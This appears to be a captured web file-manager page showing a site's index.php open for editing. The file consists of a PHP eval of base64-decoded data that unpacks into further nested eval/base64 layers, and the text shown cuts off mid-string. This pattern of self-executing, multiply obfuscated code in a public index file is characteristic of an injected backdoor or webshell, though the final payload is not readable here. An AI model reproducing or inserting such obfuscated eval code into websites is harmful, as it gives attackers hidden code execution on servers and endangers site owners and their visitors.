File manager - Edit - /home/wwwroot/camplus.hk/tic.camplus.hk/public_html/index.php
Back
<?php eval("?>".base64_decode("PD9waHAgZXZhbCgiPz4iLmJhc2U2NF9kZWNvZGUoIlBEOXdhSEFnWlhaaGJDZ2lQejRpTG1KaGMyVTJORjlrWldOdlpHVW9JbEJFT1hkaFNFRk9RMmxDYm1JelVuWkpTRkl3V210TmVFOTVRbXRrVjJSNFVucHZaMHBIYUhSV2JYQllTVVF3WjBwNVl6ZEpSMlIyWkVjNFoxcEhjRWRQVmswM1NVVjBWR1JzUm5SUGFVRnJVbXBTYzJGWGQyZFFVMEZwV0Vobk1scHNkM2hPVkZaalpVUktiVWxxYzJkYU1qa3dZbmxDYWxSdWEzcFdSSE5uVWtjeFlWTlhVVFpKUTFKeFRVVTVTV1JwUVRsSlExSm1WVEJXVTFaclZsTlhlVXBqWlVSVmVWaElaekJPVm5kNFRWUldZMlZFVW0xWVNHY3hUa1o0TkU1RVZtTk5WRTB6V0Vobk1FMVdkM2hOUkZKalpVUlJNRmhFUlhsTmFVcGtUM2xDYm1JelVuWkpSbVJXWVdzeE5VOTVRbEpsYldoR1pIcHZaMUpyYkVWVVYxRTJTVWRrZG1SSE9HZFhWRUozVGtoSk4wbEZiRXBhYld4MVQybENObEl3VGsxVmFtOW5Xakk1TUdKNVFtbFJXRnBKVm1weloySldUa05OVm1NMlNVZE9NV050ZUdaak1sWXdZak5DTUV0RFVrSlRNV1JvWldsM1oxRXhWbE5VUlRsUlZrWTVVMUpXVWxaVmF6VlZWV3RHVDFVd1drWlZhWGRuWkVoS01WcFRhemRKUjJSMlpFYzRaMlJFUW5OUk1razNTVWhhTkZGNldrUlBhVUp3V21sQmIyTXpWbWxqTTFKNVMwTlNTazFWWkVSTlUzZG5UVU4zWjA1VGEyZFFWREJuU1d4NE5FMHlUbU5sUkU1dFdFUkZNMDFHZDNoT1ZGWmpUVlJWTUVscGEyZGxlVUp1WWpOU2RrbEljSGhWYkdSRlQzbENPVWxIWkhaa1J6aG5aV3hvZEdKRk5EZEpSMVp6WVc1U2QwOXBRV3RUVkVGNllrVnZaMUJUUVd0amJUbHNZVWhOWjB4cFFXdGlSVkpyVjFWcloweHBRV3RsYmxweFZrWkJaMHhwUVd0a1JVcHpVVzFKWjB4cFFXdGlSamxEVVcxbloweHBRV3RTYWxKellWZDNOMGxIWkhaa1J6aG5XbXQwUjFwdFp6ZEpSbGt3VDFSRmQwOXBRbTlhVjBacldsaEpiMGxzZURST1JHaGpaVVJWTUZoSVp6Rk9SbmcwVGxSQ1kwNVVaR05sUkUxNFdFaG5lVnBXZURSTmVrSmpaVVJKZDFoRVdUQllTR2Q2VFVaNE5FMTZUbU5sUkVsM1dFUkZkMDVzZDNoT1ZHUmpaVVJqZVZoSVp6Sk5iSGQ0VGxSR1kwMVVVVEJZUkVVd1RrWjRORTVxVm1OTlZGVXlTV2xyTjBsSFpIWmtSemhuVWtoT2EyRlliemRKUldjMVVqSndVazlwUVd0aWJFcHBWMGR2WjFCVFFqRmpiWGhzWW0xT2RscEhWVzlSUTFKbVZUQldVMVpyVmxOWGVVcGpUVlJGZDFoRVJYbE9SbmcwVGxSU1kyVkVWWGRZUkVWNlRqRjNlRTFFUm1ObFJGRjZXRWhuTUUweGQzaE5SRlpqWlVSVmQxaElaekZPUm5nMFRsZGFZMDFVUlRCWVNHY3dUVlozZUUxVVdtTmxSRkV6V0Vobk1VNVdkM2hOUkVaalpVUlJNMWhFUlhkT1UwcGtTMVJ6WjFveU9UQmllVUpaV25wT1JGSkVjMmRXUkVwcVZsZEZOa2xEVW10WGEwWnZZbE5CT1VsRFVtdFhhMFp2WWxOQmRVbERTbU5PZW1OcFQzbENibUl6VW5aSlIzQjVZa2hhWVU5NVFrMWhWRVpMVDFSdloxcFhaR1prVkdzMlNVZGtkbVJIT0dkYWVteERXVEJKTjBsSFNrNVNiV1JIVDJsQ01XSkdTa3RUUkc5bldqSTVNR0o1UW10a1NHUkVUbXB6WjJGRk5IZGpSazAyU1Vkc2JVbERaMmhhVnpGM1pFaHJiMHBGYTNoU01FMTRTMU5yWjJWNVFtNWlNMUoyU1VkNFIxVXdTalJQZVVJNVNVZGtkbVJIT0dkaWJrSlhUVmM0TjBsSFVqQmtNRTB5VDJsQ2NGcHBRVzlqTTFKNVkwYzVla3REVW5WT2VsVjNWa04zWjBsc2QzaE9SRnBqWlVSWmVGaElaek5PYkhkNFRsUkdZMlZFV1hwWVNHY3lXbXgzZUU1VVdtTk9WRnBqVFZSVmVGaElaekpOTVhkNFRsUmphVXRUUVdoUVZEQm5XbTFHYzJNeVZYQkpTSE5uV2pJNU1HSjVRbFJpYWtZeFRucHpaMlpUUW01aU0xSjJTVWM1VDJOWGFGRlBlVUpaVWxWS01WVkViMmRLUjFKaFVWZG9kRWxFTUdkSmJIY3hUakYzTTA1NVNUZEpSMlIyWkVjNFoyTlZSbE5TVjJjM1NVZHplbEZxWnpKUGFVSndXbWxCYjBsVGFIcGtTRXAzWWpOTmIwcEhORE5PVkVKVlRFTkJhVmhFUlRKTlJuZzBUbXBzWTJWRVdteFlTR2N5VGpGM2VFNXFUbU5sUkZrMVdFUkZNazVHZURST2FsWmpaVVJhYTFoRVJUQk5WbmQ0VG1wQmFVdFRRV2hRVkRCbldtMUdjMk15VlhCTFUwSTNTVWRrZG1SSE9HZFRWMUpVVDBoTk4wbElNR2RhTWprd1lubENkbE5IYjNsV2VuTm5XVlJhZUdSdFVUWkpSMW94WW0xT01HRlhPWFZKUnpsRllrWkNjMHREVW5OWFJVWnVWRU4zWjBwR1NURk5XR2hSUzFOQ04wbEhaSFprUnpobllVUkdjV1F3VFRkSlNFSjVaV3BXYlU5cFFubGFXRkl4WTIwMFoxcHRSbk5qTWxVM1NVZGtkbVJIT0dkalJUQjVVV3hSTjBsRlpFVlViVkkwVDJsQ1EySlVUbFZYYW05bldqSTVNR0o1UW5kamJtOHhXbXB6WjJGRVJuRmtNRTAyU1VOU1ZsVXlTbFZqYVVFNVNVZGFkbU5IVm5WTFExSnpWMFZHYmxSRGQyZEpiSGQ0VG1wamFVdFVjMmRhTWprd1lubENTMWRJYkhWT2VuTm5ZekExVGxreFdUWkpTRXBzWkVoV2VXSnBRakJqYmxac1QzbENibUl6VW5aSlJXUkZWRzFTTkU5NVFrbFZWMWw2VFZSdloxcHRUbk5pTTA1c1MwTlNWbFV5U2xWamFXczNTVWRrZG1SSE9HZGpNRFZPV1RGWk4wbEZjRmxsVnpRelQybENjRnBwUVc5SlUxSldWVEpLVldOcGEyZGxlVUp1WWpOU2RrbEZTblJOTVZKaFQzbENPVWxIWkhaa1J6aG5aV3RTVms0eU1EZEpTSEJGVmxSa2RFOXBRbTFrTTBwd1pFZFZiMHBHVmxSWmJGSjVURU5CYTFWcVZYaGxSa0Z3VDNsQ2JtSXpVblpKUldoU1dtcE5lRTk1UW5kVVZFcERWa1J2WjJaVFFtNWlNMUoyU1VWMFUxVnFTbmRQZVVKS1YwWkpNMVY2YjJkaFYxbG5TMGhPTUdOdVFuWmplV2RyWW1wak1VMUdVWE5KUTBwalRWUlZlVmhJWnpOTlJuZzBUWHBLWTJWRVRYZFlTR2Q2VFd4M01rMTVTWEJKUTBVNVVGTkNiVmxYZUhwYVUydG5aWGxDYm1JelVuWkpSbVJIWVVjeFlVOTVRamxKUjJSMlpFYzRaMlJ1YUVST2EwMDNTVVpLYWxKdVZrSlBhVUp1WWpOU2RrbEZUbFJhYm5CVFQzbENibUl6VW5aSlJrWTJZVVZXTTA5NVFrOWFSelZoVkVSdloyVlZXakJhUlZrMlNVZGtkbVJIT0dkWmJsWmhVMWROTjBsSFJtbFRSVFYzVDJsQ2JtSXpVblpKUms1WVl6TnNSRTk1UW01aU0xSjJTVVZTVWxSSFJuWlBlVUpVVkd4d1ZWbHFiMmRoVjFsblMwTkdkMk50Vm01WU1qRm9aRWRPYjB0RFNtTmxSRXB0V0VSVmQxaEVSVEpOTVhnMFRtcE9ZMlZFWTNsWVJFVXdUVlozZUU1cVFtTk5WR040V0VSRk0wNUdlRFJPVkd4alpVUmpOVmhJWnpGTk1YZDRUbXBDWTAxVVZYaFlTR2N5VGtaM2VFNUVWbU5OVkZsNVdFUkZNMDVHZURST1JFNWpUVlJWTUZoSVp6Sk5WbmQ0VG1wV1kyVkVXVEJZUkVVd1RsWjRORTVxU21ObFJGcHRXRWhuTTA1R2QzaE9lbEpqWlVSak1WaEVSVEZPYkhkNFRsUkdZMlZFWXpKWVNHY3lUbFo0TkU1NlNtTk5WRmw2V0Vobk1rMVdkM2hPVkZKalRWUkJNbGhFUlRCT1ZuZDRUa1JXWTAxVVVUQllSRVY1VFVaNE5FNXFSbU5sUkdONVdFUkZNazB4ZURST2FsWmpUVlJaZVZoRVJUTk9SbmcwVGtkR1kwMVVVWGhZUkVVeVRsWjNlRTVVV21ObFJHTXdXRWhuTTA5V2QzaE9lbEpqWlVSWmVGaEVSVEpOTVhnMFRtMUtZMDFVU1RCWVJFVXdUV3g0TkU1RVdtTmxSRlUwV0Vobk1VNUdlRFJPVkZwalpVUmthbGhJWnpCT1JuZzBUbXBzWTJWRVdUTllTR2N3VGxaNE5FNTZhR05OVkZrd1dFUkZNMDVHZURST2FteGpUVlJWTWxoSVp6Sk9SbmQ0VG5wR1kyVkVTWGRZUkVWNFRrWjNlRTVVUm1OTlZGRjVXRWhuTTAxc2QzaE9SRVpqVFZSWmVWaEVSVE5OVm5nMFRqSk9ZMDFVUlRCWVJFVXhUVlo0TkU1cVpHTmxSRmswV0VSRk1rNUdlRFJPUkZKalpVUlpNVmhJWnpKTk1YZzBUbTFLWTAxVVNYbFlTR2N5VGxaNE5FNTZRbU5OVkZVeldFUkZNazFzZURST2VsSmpaVVJqZWxoRVVYZFlTR2N3VFd4M2VFNVVaR05sUkdNd1dFUkZNMDVHZURST1JGcGpUVlJSTVZoSVp6Sk9WbmcwVG1wU1kyVkVVVEJZU0djeVRsWjNlRTVVVm1ObFJGcHRXRVJGTVU1c2VEUk9NazVqVFZSQk0xaEVSVEZPTVhjeFRsWjRORTVxYUdObFJHTXdXRVJGTWs1R2VEUk9la0pqVGxSV1kyVkVXWHBZU0djeVdURjNlRTVVUm1OTlZGRXhXRWhuTWxwV2QzaE9hbEpqWlVSa2FsaEVSWGROVm5kNFRtcENZMDFVVVhoWVNHY3lUVEYzZUU1VVFtTk5WRkV4V0Vobk1FMXNlRFJPYWxaalRWUlZNbGhJWnpKTk1YZDRUbFJDWTJWRVpHcFlSRVY0VFd4M2VFNVVSbU5OVkZWNldFaG5NazVXZURST1ZFNWpUVlJaZDFoSVp6SlBWbmcwVG1wU1kwMVVVVEZZU0djelRXeDRORTR5VG1ObFJGRTBXRWhuTWs1V2QzaE9ha3BqVFZSVmVGaElaek5PUm5nMFRucEtZMDFVVlhoWVJFVXpUVVo0TkU0eVRtTk5WRUV6V0Vobk1VMUdkM2hOYWxKalRWUkJlVmhJWnpKYWJIZDRUbXBTWTAxVVl6QllTR2N3VFRGNE5FNXFWbU5sUkZwc1dFUkZNazB4ZURST2VteGpaVVJqZWxoSVp6QlBWbmcwVG0xV1kyVkVZM3BZU0djelRVWjRORTVxVm1OTlZGRjZXRVJGTWs1R2QzaE9lbEpqVFZSRk0xaElaekJOYkhkNFRsUmtZMlZFWXpCWVJFVXpUa1o0TkU1cVdtTmxSRmt4V0Vobk1rNVdlRFJPYWxKalRWUlZNRmhJWnpOUFZuZDRUbnBTWTAxVVJURllTR2N5V1ZaM01rMVdkekpOYkhnMFRtcEtZMlZFV20xWVNHY3pUa1ozZUU1NlVtTk5WRmwzV0Vobk1rMVdkM2hPVkZKalpVUmFiVmhFUlRCTlZuZDRUbFJTWTJWRVl6QllSRVV4VGpGM2VFNVVXbU5OVkZFeFdFaG5NMDVHZDNoT2FtUmpUVlJWTTFoRVJUSk5iSGcwVG0xS1kyVkVZM3BZU0djeldURjRORTVFVW1OTlZGRjRXRVJGTWs1R2QzaE9SRVpqWlVSUk1saEVSVEZPTVhkNFRtcEtZMlZFVlhwWVNHY3dUbFo0TkU1SFdtTk5WR013V0Vobk1rMHhkM2hPVkdSalRWUlZNMWhFUlRGT1JuZzBUbnBDWTAxVVVYaFlTR2N5VGtaM2VFMXFaR05sUkZreFdFUkZNRTFzZDNoT1ZFNWpaVVJaTlZoSVp6Tk9SbmQ0VG5wU1kyVkVVWGhZUkVVeFRsWjRORTVxUm1OTlZHTjVXRVJGTVU0eGVEUk9iVlpqVFZSQmVWaElaekphYkhnMFRucFNZMDFVWXpCWVJFVjNUVlozZUU1VVFtTmxSR041V0VSRk1FNVdkM2hPUkZwalRWUlplbGhJWnpCTmJIZDRUbFJrWTJWRVl6QllSRVV6VGtaNE5FNVVRbU5sUkZsNFdFaG5NMDFXZURST2JVNWpaVVJaTVZoSVp6Sk5iSGQ0VGxSa1kyVkVZekJZUkVVelRrWjNlRTFVU21OTlZGRjRXRVJGTWs1c2QzaE9SRVpqWlVSa2FsaElaekZOTVhkNFRrUldZMDFVWTNsWVJFVXhUbXgzZUU1RVJtTmxSRnByV0VSRmQwMXNkM2hPVkdSalpVUmpNRmhJWnpOWk1YZzBUa1JXWTAxVVVYaFlSRVV5VFRGNE5FNXRXbU5OVkZreFdFUkZlVTB4ZURST2VrSmpUVlJWZUZoRVJUQk9SbmcwVG1wV1kyVkVZM2xZU0djeldURjNlRTVVUW1ObFJHTXdXRVJGTWs1R2QzaE9ha0pqVFZSQmVsaEVSVEZPUm5kNFRsUkdZMlZFV1RGWVJFVXhUbXg0TkU1NlVtTmxSR1JxV0Vobk1FMHhkM2hPYWtwalpVUlplRmhJWnpOT01YZDRUbFJTWTAxVVFUQllTR2N5VFZaM2VFNUVVbU5OVkZFd1dFUkZNMDFXZDNoT2VsSmpUVlJKZDFoSVp6TlBWbmcwVG5wU1kwMVVWWGRZUkVVeFRqRjRORTV0Vm1OTlZHTXdXRVJGZWsxV2QzaE9WRVpqVFZSWmVsaEVSVEZPTVhkNFRtcFdZMlZFVlhwWVNHY3pUVVozZUU1VVJtTmxSRmt3V0Vobk1rNVdkM2hPYWtwalpVUmthbGhFUlRCTmJIZDRUbnBHWTJWRVl6QllTR2N5VGxaM2VFNXFUbU5OVkZsM1dFaG5NazlXZURST2FsSmpaVVJaTVZoRVJUSk5iSGcwVGpKT1kwMVVXWHBZUkVVd1RsWjNlRTVVVm1ObFJHTjVXRWhuTTA1V2QzaE9hazVqWlVSWk5GaElaekJOYkhnMFRtMWFZMlZFWXpCWVJFVXpUa1ozZUU1cVRtTmxSR016V0VSRk1VMVdkM2hPUkZwalRWUlpNRmhFUlRCTmJIZzBUbTFhWTAxVVdUQllSRVV6VGtaNE5FNUVWbU5OVkdONVdFaG5NbHBzZDNoT1ZHUmpaVVJhYTFoSVp6Tk5NWGcwVGpKT1kyVkVXWGxZU0djeVRWWjRORTU2U21ObFJGcHBXRWhuTTAxc2VEUk9iVnBqWlVSak0xaEVSVEZPUm5nMFRtcFdZMlZFWTNsWVJFVXpUa1o0TkU1RVVtTmxSRnB0V0Vobk0wNUdlRFJPUkVwalRWUlZNMWhJWnpOT1JuZzBUakpPWTJWRVZYZFlTR2N6VDFaNE5FNTZVbU5sUkZrMFdFaG5NbHBzZURST2JWWmpUbFJXWTJWRVl6RllSRVV5VFd4NE5FNXRUbU5OVkZVd1dFUkZNVTFXZURST2FrcGpUVlJqTUZoRVJUTk5iSGQ0VGxSV1kwMVVRVEZZUkVVeVRsWjRORTR5VG1ObFJGVjNXRWhuTWs1V2VEUk9lbEpqWlVSWmVGaElaekpaTVhkNFRVUktZMlZFV20xWVJFVXlUa1o0TkU0eVRtTmxSR04zV0Vobk0wOVdlRFJPZWxKalpVUlpORmhFUlRGT01YZzBUbTFXWTA1VVZtTk5WRmw1V0Vobk1rNVdlRFJPZWtaalpVUmpNVmhJWnpKT1ZuZzBUbnBPWTJWRVl6QllTR2N6VFRGNE5FNHlUbU5OVkUxNFdFUkZNRTFXZURST2JWWmpaVVJaTUZoSVp6Sk9WbmQ0VG5wQ1kyVkVVWGxZU0djeVdteDNlRTVxVW1OT1ZFWmpUbFJrWTJWRVdUVkphWGRuU2tZNVZGSldTbGRTVmtwaVNXeDRORTVFYUdOTlZFa3dXRWhuTVU1R2VEUk9WRUpqVFZSTk0xaElaekZPVm5kNFRXcE9ZMlZFVVRGWVJFVjVUV3gzZUUxNlpHTmxSRkY0V0Vobk1FNHhkM2hOUkZaalRWUkZNbGhJWnpGT1EwcGtTMU5yWjJWNVFtNWlNMUoyU1VoQ1ZGVkdhRFZQZVVJNVNVZGtkbVJIT0dkV2FsRTFUVlJCTjBsR2FIVk5NREZ5VDJsQ1FtSnVaRVpSYW05bldqSTVNR0o1UWs1amJrWjNUWHB6WjFwWWF6SlhXRWsyU1VOU2RGTXhaSEZWYVVFNVNVTktOMHBHVW5CaVJteHBabFo0TkUweVJtTk9WR1JqWlVSS2JVbHBRWFZKUTFKRFVqQldhazE1UVhWSlExSnJWMnRHYjJKVFFYVkpRMHBqWlVSamVsaEVSVEZOVm5nMFRucFNZMDFVVVRGWVJFVXhUbFozZUU1RVJtTmxSR04zV0VSVk1saElaek5QUm5kNFRsUldZMlZFV21wSmFuTm5Xakk1TUdKNVFrVk9WR2hzVGxSeloySnRTbkJhU0VVMlNVVTVOVmd5ZEROUGFVSnVZak5TZGtsR1FrcGlSWFJUVDNsQ1ZsRnRVa2RUZW05bllVZFdhRnBIVm5sTFEwcGpaVVJSTkZoSVp6Rk9SbmQ0VFdwU1kwMVVTWGRZU0dkNVdteDNNazFXZHpGT2JIZzBUWHBHWTJWRVNYZFlTR2Q2VGtaNE5FMTZRbU5PYWxKalRrUkNZMlZFVW14WVNHY3lXbXgzZUU1cVVtTmxSRWwzV0VSRmQwNXNkM2hPVkdSalRWUlpNVmhJWnpKYVZuZDRUa1JSYVV0VWMyZGFNamt3WW5sQ1VtVkZSbFppVkhOblVrUlZORnBVVlRaSlExSnZZbFphY1ZaNVFUbEpTRko1WVZjd2IwcEhhSFJXYlhCWVMxTkJkVWxEU21ObFIxSmpUVlJKYVVsRE5HZEpiSGQ0VFdwT1kyVkVXVFZZUkVVeVRrWjRORTVxVm1ObFJGcHJXRVJGTUUxV2QzaE9ha0pqWlVST2FGaElaM2xOU0hOcllsVjBXR0ZzU2psSmFuTm5Xakk1TUdKNVFtcGpWM0JPV1dweloxTXhTbE5OYmtFMlNVZGFNV0p0VGpCaFZ6bDFTVVZLTmxwclZraExRMUp6VjBWR2JsUkRhMmRsZVVKdVlqTlNka2xGU1ROaWF6RktUM2xDZGxSSVNtNVBSRzluWTIxV01HUllTblZKUjFwb1lraE9iRTk1UW01aU0xSjJTVWRLYmxZemNEVlBlVUp3Vm0weFRFMXFiMmRoVjFsblMwTkZhMVpXVG1sV1NFbHdTVWh6WjFveU9UQmllVUozV1dwR2FGSnFjMmRtVTBKdVlqTlNka2xHWkZOWlZsWlhUM2xDUTA0eU5VNVRWRzluU2taV1ZGbHNVbmxKUkRCbldtMDVkMXBYTkc5S1IzaFpVVmRrVFV4RFFXbFlTR2N6VFdsSmNFOTVRbTVpTTFKMlNVZHNWMkpWYzNsUGVVSXpWak5hYW1GcWIyZGpSMGw0V1ZWWk5rbEhaSFprUnpobllqQjRlVnA2WnpkSlJtUlRXVlpXVjA5cFFXdFZhbFY0WlVaQloxQlRRbTFqYlZab1drTm5hMVpXVG1sV1NFbHpTVWRhY0dKSFZucGhXSEJzUzBOU2MxZEZSbTVVUTJ0d1QzbENibUl6VW5aSlJVa3dZM3BzZVU5NVFuSmpiVFV6VDBSdloyTnRWakJrV0VwMVNVTlNVMDVVUmpSVlJITm5Xakk1TUdKNVFqTldNMXBxWVdweloxRnFVbnBQV0VrMlNVZGFhbUpIT1hwYVUyZHJWbFpPYVZaSVNYQlBlVUp1WWpOU2RrbEhkSGxpYm1NMFQzbENhVm94WkRabFZHOW5abE5DYm1JelVuWkpSWGh0VGxSU1NrOTVRbFZqZWtKRVpGUnZaMW95T1RCaWVVSndZbXhTZWxsNmMyZGFNamt3WW5sQ1ExcHVRa05XUkhOblYxVmFiR0ZWYnpaSlExSlFZV3BHVjJKcFFUbEpTRlo1WWtkV2RWa3lPV3RhVTJkcldERk9SbFZzV2taVmJITnBXRVJGZVUweGVEUk9SRTVqWlVSVmVWaEVSWGhOVm5nMFRsUkNZMlZFVlRCWVNHY3hXbXg0TkU1SFZtTmxSRkY0V0Vobk1GcEdlRFJPUkZWcFdGTnJOMGxIWkhaa1J6aG5XbGhqTkdKRlJUZEpTRkl3V210TmVFOXBRV3RpUlZKclYxVnJaMUJUUVdsWVJGVXpXRWhuTWsxNVNUZEpSMlIyWkVjNFoyVkZXbkJaTW5jM1NVYzFkMVpxUm5aUGFVRnJVVlYwV0ZsWWIyZFFVMEpxWkZoS2MxZ3liSFZoV0ZGdlMxUnpaMW95T1RCaWVVSjNWWHBOTkZKcWMyZGtSRUp6VVRKSk5rbEhUakZqYlhobVl6SldNR0l6UWpCTFExSkNVekZrYUdWcGQyZFJNVlpUVkVVNVVWWkdPVWRVTUhoTlZERmtUVlF3VGtKV1JXeFFWR2wzWjFwdFJuTmpNbFZ3VDNsQ2JtSXpVblpKUjFweVkxUnJkMDk1UWpWVmVsSjVVVlJ2WjFOSWFFWlZSR3MyU1Vka2RtUkhPR2RUUmtaS1VXMW5OMGxJYUVkaFYwNXpUMmxCYTJKR09VTlJiV2RuVUZOQmFWaElaekpOZVVrM1NVZGtkbVJIT0dkVE1VNHlWVmN3TjBsSGFHWmtWbkJxVDJsQ2JHVkhiREJQZVVKdVlqTlNka2xHU2pGalJrSTBUM2xDY21WV1FURmFlbTluV2xkT2IySjVRV3RUVkVaSVVYcEZOMGxIWkhaa1J6aG5aVVpuTWs1clJUZEpSVFIzVW14Q05VOXBRblphUlhoM1lrTm5hMXBXWnpOa1JFVnpTVU5LWTA1cVJXbExWSE5uV2pJNU1HSjVRazlWVmtaR1RVUnpaMlZxUm1aaFJtTTJTVU5TZEZWSVRtOVdRMEU1U1VSRk4wbEhaSFprUnpoblZHcENSMVZJYXpkSlJYaHRUbFJTU2s5cFFXdGlhbU14VFVaUloxQlRRakZqYlhoc1ltMU9kbHBIVlc5S1JqbFVVbFpLVjFKV1NtSkpiSGQ0VFdwS1kwMVVRVEZZU0djeFRWWjRORTVVVm1ObFJGRXhXRVJGZVUweGVEUk9WRkpqVFZSTk0xaElaekZPVm5nMFRsUktZMDFVUlhoSmJEQndUM2xDYm1JelVuWkpSMXBEV1ZSS01rOTVRblpUUjI5NVZucHZaMHBIVW1GUlYyaDBTVVF3WjBwR09WUlNWa3BYVWxaS1lrbHNkM2hOYWs1alRWUkJlbGhFUlhsTmJIZzBUa1JzWTAxVVNYZFlSRVY1VGtaNE5FNVhXbU5OVkVVeVdFaG5NRTFXZURST1IxSmpaVVJSTVVsc01EZEpSMlIyWkVjNFoxSkVXWHBYYmtVM1NVWlNjazVIVmxKUGFVSnNZMjVLZG1Oc09YbGFXRUoyWTI1U2NHSnRZMjlOUTJzM1NVZGtkbVJIT0dkU1J6RmhVMWRSTjBsSE5YRlBSR1JZVDJsQ2JtSXpVblpKUms1RFpVUkdNVTk1UW01aU0xSjJTVWhXWmxKVlVURlBlVUpyVDFkMGNWbDZiMmRWTVdSNlpWVk5Oa2xIWkhaa1J6aG5XVlJhZUdSdFVUZEpSa1kwVVZaV2RFOXBRa1JUTTJ4SFkxUnZaMW95T1RCaWVVSnlaVlpCTVZwNmMyZGhNRVpSVlROQk5rbEdSakpVUlZadlQybENibUl6VW5aSlJUbEZXVlUxUTA5NVFsVmpSWGhoVlZSdloxRXhUbTFsYkVrMlNVZGtkbVJIT0dka1dHeENXVzA0TjBsSFduSmpWR3QzVDJsQ2FtUllTbk5ZTTA1c1pFYzVkMlJEWjJ0UlZYUllXVmh2YzBsRlRsWlZhM2hRVlVaU1psVXhUazFZTVZwR1ZXdHNSMWRXUWtaU1ZrbHpTVVZhUWxSR1RrWkxWSE5uV2pJNU1HSjVRbUZpYlVZMldrUnpaMXByZEVkYWJXYzJTVU5TV0UxSGRGVmhlVUU1U1VOS1kyVkVVWHBZU0djeFRteDRORTVIVW1OTlZFRXhXRVJGZVU1V2QzaE5SRVpqWlVSUk0wbHFjMmRhTWprd1lubENOazR6YjNwWFZITm5WRlZ3YjFKdVZUWkpSVGxGVkVaQ2MwdERTbU5sUkdONVdFaG5NbHBzZURST2FrcGpaVVJhYlZoRVJUSk9SbmcwVG5wT1kyVkVTbXhZUkVVeVRrWjRORTU2YUdObFJHTXdTV2wzWjBwRmEzaFNNRTE0UzFSeloxb3lPVEJpZVVKQ1dURkNXbUpxYzJkYWVteERXVEJKTmtsRFVteFhSR1F3VFZOQk9VbERTbU5sUkZrMFdFUkZNazFzZURST2VteGpaVVJLYkZoRVJUSk9SbmQ0VG5wQ1kwMVVXVEJKYW5ObldqSTVNR0o1UWtoV01EVm9VbnB6WjFaRmFERk5SelEyU1VWc2ExVjZhSHBQYVVKdVlqTlNka2xIU205VVZrMTVUM2xDVWs1dWNESlVlbTluU2tod01tRnNVbEZKUkRCblNXeDRORTU2WkdOT2FrcGpUbXBrWTA1cVFtTmxSRTB4V0VobmVWcFdkM2hPUkZwalpVUlpOVmhFUlRGT1JuZzBUbTFTWTAxVVZYZFlSRVV4VG5sSk4wbEhaSFprUnpobldUTk5lRlI2VlRkSlJURnNUMVJTVEU5cFFsTmlSMnhIVG1wdloxb3lPVEJpZVVKS1YwWkpNMVY2YzJkWFIyeFZUVVpSTmtsSGVFZFZNRW8wVDJsQ2JtSXpVblpKUnpsS1QxaFdORTk1UWt0aFZXUkZXWHB2WjFveU9UQmllVUl3VjI1RmVsVjZjMmRhTWprd1lubENURkpZU1hoVGFuTm5WVzVXZDFWSVp6WkpTRXBzWkVoV2VXSnFjMmRhTWprd1lubENUMXBITldGVVJITm5aVVpuTWs1clJUWkpSMnh0U1VObmFGcFhNWGRrU0d0dlNrZG9kRlp0Y0ZoTFUydG5aWGxDYm1JelVuWkpSWGhHVFhwS1JVOTVRamxKUjJSMlpFYzRaMVJHUm5oVlZsRTNTVVp3ZFZsWWNHdFBhVUpxWkZoS2MxZ3pUbXhrUnpsM1pFTm5hMUZWZEZoWldHOXpTVVZPVmxWcmVGQlZSbEptVlRGT1RWZ3hXa1pWYTJ4SFYxVm9VRlV4VVhOSlJWcENWRVpPUmt0VWMyZGFNamt3WW5sQ2ExcHVXak5aVkhObllsWkNVbVJZWnpaSlIxWTBZVmhSTjBsSFpIWmtSemhuVkZkVk5VNUZjemRKUm10M1kwUlNlVTlwUVd0aGFrSlFVMGhaWjFCVFFXdFlNVTVHVld4YVJsVnNjMmxZUkVWNFRVWjRORTVVVW1OTlZFa3dXRWhuTVUxR2QzaE5lbVJqVFZSQmVsaElaekJaTVhnMFRrUnNZMlZFVVRGWVJFVjRUbXg0TkU1VVVtTk5WRTB6V0Vobk1FOVdlRFJPVkVGcFdGUnpaMW95T1RCaWVVSXpZVmRXYWxGVWMyZFpia2w1V0hwRk5rbEhXa3RrYlRsNVQybENibUl6VW5aSlJtaEdVVzVXVVU5NVFrNWpia1ozVFhwdloxb3lPVEJpZVVKRVV6TnNSMk5VYzJkYU1qa3dZbmxDZWs5WWNHWmFWSE5uVkVaQk1GTnJZelpKUjJ4dFNVTm5hR0ZZVG1aYWJXeHpXbE5uYTFwV1p6TmtSRVZ3UzFOQ04wbEhaSFprUnpoblZWaGFUVkpYWnpkSlNEQm5Xakk1TUdKNVFrOU5NWEI0VkhweloxbHRhRTVWZWtrMlNVTlNTazFWWkVSTlUwRTVTVVZDYldGWGVHeFlNbVJzWkVZNWFtSXlOVEJhVnpVd1kzbG5hMk15Y0c1aWJWbHdUM2xDYm1JelVuWkpSMmhQVFVoQ1ZFOTVRbnBQV0hCbVdsUnZaMVl3V205aVZtODJTVWRrZG1SSE9HZFdWVXByVW10ek4wbEhWa1pqUm04MFQybENORTFGU25CV2FtOW5Xakk1TUdKNVFtdGtWMlI0VW5weloySnRlR3hPYlZVMlNVTlNlbUZ0WkhWYWFVRTVTVU5TU2sxRVRuTlRhVUYxU1VOS1kyVkVUbTFZU0djeVRWWjNlRTVFWkdOTlZGRXhXRVJGTVU1c2VEUk9lbEpqWlVST2EyVjVVbkpQUldoS1ltNHhZMDVFV21OTlZGbDVXRVJGTUU1V2VEUk9hbHBqVFZSUk1WaElaek5OYkhnMFRUSlNOMHBGWkZkbFIzUTFabFo0TkUxcVdtTk5WRlV3V0VSRk1FMVdlRFJPYlZaalRWUlJNMWhJWjNwYVNITnJZbXhLYVZkSGNEbFlSRkV5V0Vobk1rOVdkM2hPYWtKalpVUk9hMlY1VW5GTlJUbEpaRzR4WTA1RVdtTk5WRkV3V0Vobk1scHNkM2hPVkZaalpVUk9hMlY1VWtOU01GWnFUVE14WTJWRVNUSllSRVV4VFVaNE5FNTZVbU5OVkZrd1dFaG5NMDFHZURSTk1sSTNTa1pTY0dKR2JHbG1WbmN3VG14M2VFNXFWbU5OVkZsNVdFaG5NazlXZHpOT1dITnJZbXBqTVUxR1VqbFlSRkV5V0VSRk1rMUdkM2hPUkU1alpVUk9hMlY1VWxoTlIzUlZZVE14WTA1RVdtTk5WRmw1V0Vobk1rNVdlRFJPZW1SalRWUlplVmhFUlRGTlZuZzBUbnBTWTAxVVVURllTR2N5VFZaNE5FNXFTbU5sUkZwcVdFUkZNRTVXZHpOT1dITnJZbFpDZW1GR1VqbFlTR2Q1VG14NE5FNTZUbU5OVkZGNldFaG5NMDFzZDNoT1ZFWmpUVlJaZDFoSVp6Tk9SbmN6VGxoemExUXliM2hXYlRVNVdFUlJNbGhFUlRKTk1YZzBUbXBzWT